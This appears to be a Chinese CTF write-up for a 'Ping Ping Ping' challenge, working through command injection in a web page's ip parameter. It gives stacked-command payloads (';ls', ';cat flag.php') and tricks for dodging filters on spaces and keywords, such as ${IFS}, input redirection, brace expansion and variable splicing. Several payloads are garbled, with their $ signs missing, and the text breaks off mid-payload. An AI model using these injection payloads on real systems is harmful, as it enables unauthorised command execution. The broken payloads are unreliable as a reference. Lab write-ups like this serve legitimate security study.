题目环境
给了一个ip参数 注意题目Ping Ping Ping 意思就是让我们进行Ping地址 随便输入一个地址Ping一下
URL?ip=0
有回显结果,和上题类似 [ACTF2020 新生赛]Exec 1-CSDN博客
查看当前目录文件
URL?ip=0;ls
(这里使用堆叠注入查询)
直接给出了咱们flag文件,事实上真的有这么简单吗?
查看flag文件看看是什么情况
URL?ip=0;cat flag.php
空格报错!
查看flag关键字是否被过滤
URL?ip=0;flag.php
flag报错!
查看字符是否被过滤
URL?ip=0;/
字符报错! 好啊好啊,过滤这么多东西,不过好在/符号不用绕过了,因为flag就在当前目录 空格绕过
- cat${IFS}flag.txt
- catIFS9flag.txt (正整数可以是任意)
- cat<flag.txt
- cat<>flag.txt
- {cat,flag.txt}
flag关键字绕过
可以使用定义变量绕过
x=flag
构造payload:**URL?ip=0;x=ag;cat{IFS}flx.php**字符报错!猜测"{}"被过滤试试第二种空格绕过方法构造payload:**URL?ip=0;x=ag;catIFS1fl